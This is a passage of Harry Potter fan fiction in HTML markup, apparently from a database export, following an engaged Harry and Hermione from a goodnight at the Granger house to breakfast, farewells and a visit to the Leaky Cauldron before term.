that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s true, but it also means that we won&#8217;t be interrupted\nso easily&#8230;&#8221; His sighed and cupped her cheek.&nbsp;\nHis eyes darkened, and she melted under his gaze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;I think I&#8217;m gonna like having you all to myself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But you already do,&#8221; she quipped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Without any prying eyes around.&nbsp; From what I&#8217;ve heard, the Head Boy and Girl&#8217;s rooms are adjunct\nto one another.&nbsp; We even have our own\nportrait password.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled coyly and draped her arms around his neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That has definite possibilities.&nbsp; Just think, I could come by and surprise you right in the middle\nof the night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And so could I, sweetheart.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Apart from the intimacy portion, Harry was glad that he\nwould be able to have Hermione alone.&nbsp;\nIt was be nice to be &#8216;living with her&#8217;; they were engaged after\nall.&nbsp; Harry picked up her left hand and\nrubbed the ring on her third finger.&nbsp; He\nbrushed his lips against her knuckles, and she pulled him closer to nuzzle his\npalm.&nbsp; Harry kissed her softly and let\nher go.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you finish packing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, my dad said that he&#8217;ll drive us to King&#8217;s Cross in the\nmorning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds good to me.&nbsp;\nI&#8217;ll be done as soon as Hedwig gets back from her evening snack hunt,&#8221;\nhe sighed and rolled his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then&#8230;I guess we better go to bed,&#8221; Hermione said\nreluctantly.&nbsp; Her eyes held a question\nand a look of hope.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As much as I don&#8217;t want to, sweetheart, we better sleep\nseparately tonight.&nbsp; I don&#8217;t want your\ndad to catch us on the last day that I&#8217;m here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, I understand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione leaned forward, and Harry bent down to her soft\nlips.&nbsp; This kiss was passionate but not\noverheated; it was just simple and wonderful.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodnight Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodnight Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He walked her to his door and let her out.&nbsp; Bending down next to her ear, he whispered\nsomething softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;I&#8217;ll see you in my dreams.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione flushed slightly, but her smile was appreciative,\nand she slipped out of her lover&#8217;s arms.&nbsp;\nHarry let her go and quietly shut the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 13, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The entire Granger household was up before dawn.&nbsp;\nMelinda was busy in her kitchen, making an early bird breakfast for her\nhusband, Hermione, and Harry.&nbsp; John Granger came downstairs first and\nkissed his wife good morning.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Meanwhile, Harry looked like he&#8217;d just been cast in the\nmovie &#8216;Night of the Living Dead&#8217;.&nbsp; Even after a shower, he still looked\nlike a zombie.&nbsp; He rubbed his temples and forced his brain to remain\nawake.&nbsp; Opening his trunk, he checked to make sure that all his things\nwere inside.&nbsp; Hedwig was asleep in her cage, and her head was tucked under\nher right wing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Good morning,&#8221; Hermione said brightly and walked into his\nroom.&nbsp; She was wearing a white sweater and a grey, knee-length skirt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Uh,&#8221; Harry just groaned and rubbed his face.&nbsp; She\njust giggled at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re not much of a morning person are you?&#8221; she sighed\nand sat down next to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry&#8217;s tiredness faded as he caught a hint of her enticing\naroma, and his eyes opened fully.&nbsp; He wrapped his arms around her and\nkissed her thoroughly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not unless I wake up next to you,&#8221; he said softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;&#8221; she blushed and lowered her head.&nbsp; He kissed\nher forehead and kicked his trunk shut.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Do you need some help with your trunk?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sure, but what about yours?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s what levitation&#8217;s for, sweetheart, c&#8217;mon.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Melinda Granger walked into the dining room carrying a\nplate of steaming bacon when her daughter nearly bounded down the stairs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Morning mom!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Morning sweetie, is Harry coming down?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Right behind her,&#8221; came a reply, and the young man popped\nup behind Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry turned around and pointed his wand towards the\nstaircase.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wingardium Leviosa!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Tapping his wand in midair, Harry directed Hermione&#8217;s trunk\ndown the stairs and in front of the door.&nbsp; Mr. and Mrs. Granger were quite\nsurprised to see something floating in the middle of their house.&nbsp; Next\ncame Harry&#8217;s trunk, and he set it down right next to Hermione&#8217;s.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;it beats having to carry them down,&#8221; Hermione\nchuckled at her parents&#8217; questioning look.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry tucked his wand into his pocket and sat down next to\nhis girlfriend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So Hermione&#8230;what classes are you taking this year?&#8221; her\nmother asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah&#8230;Advanced Transfiguration&#8230;Expert Arithmacy&#8230;Potions&#8230;Care\nof Magical Creatures&#8230;and Apparition.&#8221; Both of her parents looked at her with\nsurprise at the thought of taking such courses.&nbsp; Harry, on the other hand,\nwas grinning broadly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come on, Herm, you can pass those classes in your sleep;\nsince when do you slack off?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m not slacking off&#8230;&#8221; she defended, &#8220;&#8230;I haven&#8217;t learned\nhow to apparate yet!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And the others?&#8221; he prodded.&nbsp; She just smiled\ncheekily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Fine, I want to enjoy my last year at Hogwarts &#8211; not spend\nit all in the library again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wow, Hermione Granger wanting to have fun instead of\nstudying; my world has turned upside down,&#8221; Harry laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What do you have, huh?&#8221; she said with a glare.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay&#8230; Advanced Transfiguration&#8230;Advanced\nArithmacy&#8230;Potions&#8230;Care of Magical Creatures&#8230;and Apparition.&nbsp; Now before\nyou say anything, I have to take Apparition; it&#8217;s a requirement.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So you and Hermione have several classes together,&#8221;\nMelinda said proudly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;I&#8217;m not as smart as Herm is so she helps me out when\nI get stuck.&nbsp; Arithmacy and Potions are really my worst subjects; she&#8217;s a\nlifesaver in those.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now Harry&#8230;&#8221; Hermione put her hand on his arm, &#8220;&#8230;you do\nquite well by yourself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Then why do you always check my homework?&#8221; he asked with a\nraised eyebrow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Old habit I guess,&#8221; she answered.&nbsp; They both started\nlaughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s strange to think that this is gonna be our last\nyear,&#8221; Harry sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes, our final term at Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We better get going,&#8221; Mr. Granger cut in, &#8220;We don&#8217;t want\nto get stuck in traffic.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re right, John, London is going to be packed this\nmorning,&#8221; his wife added.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After finishing breakfast, Harry waited patiently as Mr.\nGranger brought the van up in front of the house.&nbsp; Whispering a soft\nspell, he once again reduced the weight of each trunk by half to make it easier\nto carry.&nbsp; John grabbed one, and Harry took the other. &nbsp;Hermione and\nMrs. Granger followed them outside onto the driveway.&nbsp; After Hedwig and\nCrookshanks&#8217; cages were loaded, they were all ready.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Goodbye Hermione,&#8221; her mother said and hugged her tightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Bye mom, I&#8217;ll write to you soon okay.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry watched the two of them and smiled at how close\nHermione was with her mother.&nbsp; However, once the two separated, her eyes\nturned to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come here, sweetie.&#8221; The young wizard suddenly found\nhimself smothered in Melinda Granger&#8217;s arms.&nbsp; He hugged the older woman\nback; she&#8217;d been just like a mother to him this summer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank you, Mrs. Granger, I&#8217;ve had a wonderful time this\nsummer.&nbsp; I hope that someday I can repay your kindness.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh Harry, don&#8217;t be so proper.&nbsp; I&#8217;m glad that Hermione\nbrought you here; you are quite an exceptional, young man.&#8221; He blushed at her\ncompliment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He hugged her one last time, and she whispered something in\nhis ear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You will always be welcome here, son.&#8221; Those words made\nHarry&#8217;s heart explode with warmth.&nbsp; For the first time in his life, he\nfelt like a part of a family.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank you&#8230;mom,&#8221; he answered back just as softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Melinda let him go as tears formed in her eyes.&nbsp; She&#8217;d\ncome to love the boy as her own; soon, he&#8217;d be calling her mom all the time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione smiled at the tender exchange.&nbsp; She&#8217;d hoped\nthat her mother would love Harry, and she did.&nbsp; Her mission for the summer\nhad been accomplished.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They loaded up into the van and slowly pulled out of the\ndriveway.&nbsp; Harry turned to watch as the house disappeared in the distance;\nthis had been the best summer of his life.&nbsp; He turned back around, and\nHermione took his hand.&nbsp; He squeezed it gently and settled back against\nthe seat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Thankfully, the trio avoided most of the early morning\ntraffic, and Mr. Granger pulled into the parking lot in front of King&#8217;s Cross\nStation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All right, we better head for Diagon Alley,&#8221; Hermione suggested.&nbsp;\nShe and Harry climbed out but left their trunks in the van.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Dad, we shouldn&#8217;t be more than an hour, okay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s fine, sweetie, take your time,&#8221; John said to his\ndaughter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We&#8217;ll be back soon,&#8221; Harry confirmed and followed his\ngirlfriend.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Hermione walked down a familiar street and headed\nfor a worn-looking, solid black building on the side of the street.&nbsp; They\nentered the Leaky Cauldron, and Harry was brought back to the first time that\nhe&#8217;d come through here with Hagrid.&nbsp; It was strange to think that this was\nthe last time he&#8217;d be doing this &#8211; as a student anyways.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well bless my soul, Harry Potter!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The young wizard smiled as he heard Tom mutter the familiar\nwords, and like clockwork, the entire bar froze in mid-action.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hello Tom, nice to see you again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank you, Mr. Potter, same to you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Please, just call me Harry,&#8221; he laughed and rolled his\neyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Just as he anticipated, a crowd quickly gathered around\nhim, begging to speak with him.&nbsp; They all wanted to speak to the wizard\nwho had defeated Voldemort.&nbsp; Hermione remained at his side, holding his\nhand and occasionally squeezing it for encouragement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Excuse me, everyone, but I must leave you now,&#8221; Harry\nstated firmly.&nbsp; Several groans were heard, but his hoard of followers\ndissipated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What will you be having today, Mr. Potter?&#8221; Tom then\nnoticed that he was holding Hermione&#8217;s hand tightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh, please forgive my rudeness, who is this lovely, young\nlady?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m Hermione&#8230;Hermione Granger, it&#8217;s a pleasure.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah, now I remember ya&#8217;.&nbsp; Haven&#8217;t see ya much though?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I don&#8217;t usually come this way; I&#8217;ve used floo powder for\nthe last several years.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of course, that would explain it.&nbsp; Well then, what\nwill the two of ya be having?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing Tom, thank you.&nbsp; Hermione and I have to pick\nup our supplies for this year.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Certainly, look forward to seeing you again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Goodbye,&#8221; both teens said at the same time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They exited out the back door and walked up to the brick\nwall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now then, let me see if I remember this,&#8221; Harry sighed and\npulled out his wand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Allow me,&#8221; Hermione said confidently and drew out her\nwand.&nbsp; She quickly tapped the five bricks, and the wall rolled back out of\nthe way.</p>\n\n<p class="MsoNormal" 